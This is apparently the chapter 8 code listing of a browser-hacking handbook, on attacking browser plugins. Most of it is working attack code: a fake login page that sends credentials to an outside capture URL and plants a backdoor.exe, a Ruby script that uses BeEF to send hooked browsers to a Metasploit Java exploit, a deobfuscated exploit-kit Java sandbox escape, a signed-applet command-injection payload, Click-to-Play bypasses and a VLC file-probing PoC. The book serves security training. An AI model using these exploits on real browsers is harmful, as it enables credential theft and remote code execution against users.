BHH logo

Ch8 Source Code - Attacking Plugins


ActiveX Exploitation

<html>
<body>
<script>
function submitData()
{
   var x = document.getElementById("sploit");
   var url = "http://browserhacker.com/capture.rb?un=" + x.elements[0].value + "&pw=" + x.elements[1].value;
   document.getElementById('t1').background=url;
}
</script>

<div align=center>
<form id="sploit" >
<table id='t1' border=0 background="">
<tr><th colspan=2>BrowserVictim.com Chat System<BR>
Please Log in with your ActiveDirectory Credentials</th></tr>
<tr><th>Username:</th><td><input type=text name="user"></td></tr>
<tr><th>Password:</th><td><input type=password name="pass" onBlur="submitData()"></td></tr>
<tr><th colspan=2>
<object classid='clsid:C28A127E-4A85-11D3-A5FF-00A0249E352D' id='target'>
</object>
</tr></td>
</table>
</form>
<BR>
</div>

<script language='vbscript'>
document.getElementById("target").fileName = "Z:\\backdoor.exe"
</script>
</body>
</html>

Detect Flash

flash_versions = 11;
flash_installed = false;
objname = "ShockwaveFlash.ShockwaveFlash.";
if (window.ActiveXObject) {
	for (x = 2; x <= flash_versions; x++) {
		try {
			Flash = eval(
				"new ActiveXObject('" + objname + x + "');");
			if (Flash) {
				flash_installed = true;
			}
		} catch (e) { }
	}
}


Detect Plugins

<HTML>
<BODY>
<SCRIPT>
var pluginLen = navigator.plugins.length;
document.write("<TABLE><TR><TH COLSPAN=4>");
document.write(
  "Plugins Found: " + pluginLen.toString() + " </TH></TR>" +
  "<TR><TH>Name</TH><TH>Filename</TH>" + 
  "<TH>Description</TH><TH>Version</TH></TR>\n"
);

for(var i = 0; i < pluginLen; i++) {
  document.write(
    "<TR><TD>"+
    navigator.plugins[i].name +
    "</TD><TD>" +
    navigator.plugins[i].filename +
    "</TD><TD>" +
    navigator.plugins[i].description +
    "</TD><TD>" +
    navigator.plugins[i].version +
    "</TD></TR>\n"
  );
}
document.write("</TABLE>");
</SCRIPT>
</BODY>
</HTML>

Firefox Click to Play bypass

<html>
  <head>
    <style type='text/css'>
       #overlay {
         background-color: black;
         position: absolute;
         top: 0px;
         left: 0px;
         width: 550px;
         height: 450px;
         color: white;
         text-align: center;
         padding-top: 100px;
         pointer-events: none;
       }
    </style>
    <body>
      <div id="overlay">Click here</div>
      <applet code="Foo.class" width="500" height="500"/>

  </body>
</html>

Java <= 1.7u17 mass pwner (it uses BeEF's RESTful API)

require 'rest_client'
require 'json'

# RESTful API root endpoints
ATTACK_DOMAIN = "172.16.37.1"
RESTAPI_HOOKS = "http://" + ATTACK_DOMAIN + ":3000/api/hooks"
RESTAPI_LOGS = "http://" + ATTACK_DOMAIN + ":3000/api/logs"
RESTAPI_MODULES = "http://" + ATTACK_DOMAIN + ":3000/api/modules"
RESTAPI_ADMIN = "http://" + ATTACK_DOMAIN + ":3000/api/admin"

# Metasploit exploit URL
EXPLOIT_URL = "http://172.16.37.1:8080/uGDMZKaKGvbP59"

BEEF_USER = "beef"
BEEF_PASSWD = "beef"

@token = nil
@modules = nil
@hooks = nil

def print_banner
  puts "[>>>] JDK <= 1.7u17 pwner - with CtP bypass for IE]"
end

def auth
  response = RestClient.post "#{RESTAPI_ADMIN}/login",
                             { 'username' => "#{BEEF_USER}",
                               'password' => "#{BEEF_PASSWD}"}.to_json,
                             :content_type => :json,
                             :accept => :json
  result = JSON.parse(response.body)
  @token = result['token']
  puts "[+] Retrieved RESTful API token: #{@token}"
end

def get_hooks
  response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @token}}
  result = JSON.parse(response.body)
  @hooks = result["hooked-browsers"]["online"]
  puts "[+] Retrieved Hooked Browsers list. Online: #{@hooks.size}"
end

def get_modules
  response = RestClient.get "#{RESTAPI_MODULES}", {:params => {:token => @token}}
  @modules = JSON.parse(response.body)
  puts "[+] Retrieved #{@modules.size} available command modules"
end

def get_module_id(mod_name)
  @modules.each do |mod|
    #normal modules
    if mod_name == mod[1]["class"]
      return mod[1]["id"]
      break
    end
  end
end

def pwn
  @windows_hooks = []
  @hooks.each do |hook|
    session = hook[1]["session"]
    browser = "#{hook[1]["name"]}-#{hook[1]["version"]}"

    if browser.match(/^IE/)
      sleep 2
      mod_id = get_module_id("Site_redirect")
      redirect_to_msf(session, mod_id)
      puts "[+] Browser [#{browser}] redirected to " + 
       "MSF exploit [multi/browser/java_jre17_driver_manager]."+
       "Check your MSFconsole..."
    else
      puts "[+] Skipping browser [#{browser}] because" + 
      " the Click to Play bypass will not work."
    end
  end
end

def redirect_to_msf(session, mod_id)
  RestClient.post "#{RESTAPI_MODULES}/#{session}/#{mod_id}?token=#{@token}",
    {"redirect_url" => EXPLOIT_URL}.to_json,
    :content_type => :json,
    :accept => :json
end

print_banner
# Retrieve the RESTful API token
auth
# Retrieve online hooked browsers
get_hooks
# Retrieve available modules
get_modules
# Redirects
pwn

Java <= 1.7u13 Click to Play bypass

/* From Plugin2Manager.initAppletAdapter (< Java 1.7u13)*/

void initAppletAdapter(AppletExecutionRunnable
  paramAppletExecutionRunnable)
  throws ClassNotFoundException, IllegalAccessException,
  ExitException, JRESelectException, IOException,
  InstantiationException {
 long l = DeployPerfUtil
   .put(0L, "Plugin2Manager.createApplet() - BEGIN");
 /*
  * Get the values of the "code" and "object" applet attributes
  */  
 String str1 = getSerializedObject();
 String str2 = getCode();

 [...snip...]

 if ((str2 != null) && (str1 != null)) {
  System.err.println(amh.getMessage("runloader.err"));
  throw new InstantiationException(
    "Either \"code\" or \"object\"" + 
    " should be specified, but not both.");
 }
 if ((str2 == null) && (str1 == null))
  return;
 if (str2 != null) {
  /*
   * Load applet normally through the "code" attribute.
   */
   if (fireAppletSSVValidation()) {
    appletSSVRelaunch();
   }
   [...snip...]
 } else {
  if (!this.isSecureVM)
   return;
  // load the Serialized applet through the "object" attribute
  this.adapter.instantiateSerialApplet(localPlugin2ClassLoader, str1);
  this.doInit = false;
  DeployPerfUtil
    .put("Plugin2Manager.createApplet()" + 
      " - post: secureVM .. serialized .. ");
 }

[...snip...] 

 DeployPerfUtil.put(l, "Plugin2Manager.initAppletAdapter() - END");
}

Java <= 1.7u21 Click to Play bypass (JNLP)

<?xml version="1.0" encoding="utf-8"?> 
<jnlp spec="1.0" xmlns:jfx="http://javafx.com" href="applet_security_bypass.jnlp"> 
  <information> 
    <title>Applet Test JNLP</title> 
    <vendor>demo</vendor> 
    <description>basic applet test</description> 
    <offline-allowed/> 
  </information> 
  
   <resources> 
        <j2se version="1.7" href="http://java.sun.com/products/autodl/j2se" /> 
        <jar href="basicApplet.jar" main="true" /> 
  </resources> 
  <applet-desc 
     name="Demo Applet" 
     main-class="Main" 
     width="1" 
     height="1"> 
     <param name="__applet_ssv_validated" value="true"></param> 
 </applet-desc> 
 <update check="background"/> 
 
</jnlp>

<!--
Then embed the applet on a page, referencing the previous JNLP file:

    <html>
    <body>
    <object codebase="http://java.sun.com/update/1.6.0/jinstall-6-windows-i586.cab#Version=6,0,0,0" 
    classid="clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284" height=0 width=0>
      <param name="app" value="__JNLP_URI__">
      <param name="back" value="true">
      <applet archive="malicious.jar" 
        code="Main.class" 
        width="1" height="1">
      </applet>
    </object>
    </body>
    </html>
-->

Java 1.7u11 Exploit

/*
*   From Paunch with love (Java 1.7.0_11 Exploit)
*   
*   Deobfuscated from Cool EK by SecurityObscurity
*
*   https://twitter.com/SecObscurity
*   http://security-obscurity.blogspot.com	
*/
import java.applet.Applet;
import com.sun.jmx.mbeanserver.Introspector;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.MBeanInstantiator;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles.Lookup;
import java.lang.invoke.MethodType;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import javax.management.ReflectionException;
import java.io.*;

public class PaunchGift extends Applet
{
 
  public void init()
  {
    
    try
    {   
           int length;
           byte[] buffer = new byte[5000];
           ByteArrayOutputStream os = new ByteArrayOutputStream();
           
           // read in the class file from the jar
           InputStream is = getClass().getResourceAsStream("Payload.class");
           
           // and write it out to the byte array stream
           while( ( length = is.read( buffer ) ) > 0 )
               os.write( buffer, 0, length );
               
           // convert it to a simple byte array
           buffer = os.toByteArray();
            
          Class class1 = gimmeClass("sun.org.mozilla.javascript.internal.Context"); 
          
          Method method = getMethod(class1, "enter", true);
          Object obj = method.invoke(null, new Object[0]);
          Method method1 = getMethod(class1, "createClassLoader", false);
          Object obj1 = method1.invoke(obj, new Object[1]);
    
          Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader"); 
          Method method2 = getMethod(class2, "defineClass", false);
          
          Class my_class = (Class)method2.invoke(obj1, new Object[] { null, buffer });
          my_class.newInstance();
          Method m_outSandbox = my_class.getMethod("outSandbox", new Class[0]);
          m_outSandbox.invoke(null, new Object[] {});
      
    }
    catch (Throwable localThrowable){}
    
  }
    
  
   private Method getMethod(Class class1, String s, boolean flag)
  {
    try {
      Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods");
      Method[] amethod1 = amethod;
      
      for (int i = 0; i < amethod1.length; i++) {
        Method method = amethod1[i];
        String s1 = method.getName();
        Class[] aclass = method.getParameterTypes();
        if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method; 
      }
    } catch (Exception localException) {  }

    return null;
  }
  
  private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException
  {
    Object obj = null;
    JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
    MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator();
        
    Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
    Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
    return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj });
  }
  
}

############################################### 
import java.lang.reflect.Method;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public class Payload implements PrivilegedExceptionAction
{
   
    public Payload()
    {
        try
        {
            AccessController.doPrivileged(this);
        }
        catch(Exception exception) { }
    }

    public Object run() throws Exception
    {
        Class cl = System.class; 
        Method m = cl.getMethod("setSecurityManager", new Class[] { SecurityManager.class });
        m.invoke(null, new Object[1]);
        return null;
    }

    public static void outSandbox() throws Exception
    {
        Runtime.getRuntime().exec("calc.exe");
    }
}

Get Java version

Embed page:

<html>
<head>
<title>Java Version</title>
</head>
<body>
<object id='JVersion' name='JVersion'>
  <param name='code' value='JVersion.class' />
  <param name='codebase' value='null' />
  <param name='archive' 
  value='http://browserhacker.com/JVersion.jar' />
</object>
<script>
	document.write(document.JVersion.execute());
</script>
</body>
</html>

Java applet code:

import java.applet.*;
import java.awt.*;

public class JVersion extends Applet{
    public JVersion() {
        super();
        return;
    }

    public static String execute() {
        return (" Java Version: " +
        System.getProperty("java.version")+" by "+System.getProperty("java.vendor"));
    }
}


Signed Java Applet Remote Code Execution

Readme:
--- antisnatchor: tested with Java 1.6 update 38 on Windows 7, with IE 10 ---


1. compile the two classes
javac signedAppletCmdExec.java RelaxedSecurityManager.java



2. create a JAR
jar cvf signedAppletCmdExec.jar signedAppletCmdExec.class RelaxedSecurityManager.class


3. generate a keystone to self-sign the applet
keytool -keystore tmp -genkey


4. sign the applet
jarsigner -keystore tmp signedAppletCmdExec.jar mykey


5. open signedAppletCmdExec.html (make sure to edit it)

Vulnerable page that embeds the applet:

<html>
<head>
<title>Signed Applet Cmd Exec</title>
</head>
<body>
<object id='signedAppletCmdExec' classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' height='0' width='0' name='signedAppletCmdExec'>
  <param name='code' value='signedAppletCmdExec.class' />
  <param name='codebase' value='null' />
  <param name='archive' value='http://browserhacker.com/signedAppletCmdExec.jar' />
  <param name='debug' value='true' />
  <param name='dir' value='c:/' />
  <!-- malicious execution would be: 
    <param name='dir' value='c:/ && calc.exe' />
   -->
</object>
<script>
var internal_counter = 0;
var timeout = 30;

function waituntilok() {
			try {
				output = document.signedAppletCmdExec.execute();
				console.log("output: " + output);
				return;
			} catch (e) {
				internal_counter++;
				if (internal_counter > timeout) {
					console.log("timeout");
					return;
				}
				setTimeout(function() {waituntilok()},1000);
			}
		}

		setTimeout(function() {waituntilok()},5000);

</script>
</body>
</html>

RelaxedSecurityManager.java source code:

import java.security.*;
public class RelaxedSecurityManager extends SecurityManager {
    @Override
    public void checkPermission(Permission perm) {
        return;
    }
}

signedAppletCmdExec.java source code:

import java.applet.*;
import java.awt.*;
import java.io.*;
import java.util.*;

public class signedAppletCmdExec extends Applet {

	public static String debug = "false";
	public static String dir = "";
	
	public void init(){
		debug = (String)getParameter("debug");
		dir = (String)getParameter("dir");
	}
	
	public signedAppletCmdExec() {
		super();
		SecurityManager sm = new RelaxedSecurityManager();
		System.setSecurityManager(sm);
		return;
	}

	public static String execute() {

		String result = "";
		try{
		 String command = "cmd /c start cmd.exe /K \"cd " + dir + "\"";
		 Process p = Runtime.getRuntime().exec(command);
		  	
		  OutputStream os = p.getOutputStream();
          InputStream in = p.getInputStream();
		  DataInputStream dis = new DataInputStream(in);
		  String disr = dis.readLine();
		  while(disr != null){
			result += disr + "\n";
			disr = dis.readLine();
		  }
		  if(debug.equals("true")){
		    result = "Command (" + command + ") executed" + "\nOutput:\n" + result;
		  }
		}catch (Exception e) {
			result = "Exception!!!: \n" + e.toString();
		}
		return result;
	}
}

VLC local file enumeration PoC

try {
 var result = "";
 var i = 0;

 // create div to attach VLC object
 var newdiv = document.createElement('div');
 var divIdName = 'temp_div';
 newdiv.setAttribute('id',divIdName);
 newdiv.style.width = "0";
 newdiv.style.height = "0";
 newdiv.style.visibility = "hidden";
 document.body.appendChild(newdiv);

 // create object
 document.getElementById("temp_div").innerHTML =
 "<object style=\"visibility:hidden\"" +
 " classid=\"clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921\"" +
 " width=\"0\"  height=\"0\" id=\"vlc\"></object>";

 var items = [
  "C:\\Program Files (x86)\\Microsoft Silverlight\\5.1.20125.0",
  "C:\\Program Files (x86)\\Sophos\\Sophos Anti-Virus",
  "C:\\Users\\wade",
  "C:\\Users\\mOrrĂ¹"
 ]

 function onFound(event){
  result += items[i] + "\n";
  i++;
  console.log("Found");
  next();
 }

 function onNotFound(event){
  i++;
  console.log("Not Found");
  next();
 }

 function next(){
  if (i >= items.length){
  vlc.playlist.stop();

  // return results to the framework
  console.log("Discovered resources:\n" + result);

  // clean up
  var rmdiv = document.getElementById("temp_div");
  document.body.removeChild(rmdiv);

  return;
 }

 vlc.playlist.clear();
 vlc.playlist.add("file:///" + items[i]);
 console.log("Adding item " + items[i] + " to playlist.");
 vlc.playlist.playItem(0);
}

 vlc.attachEvent("MediaPlayerPlaying", onFound);
 vlc.attachEvent("MediaPlayerEncounteredError", onNotFound);

 next();
} catch(e) {}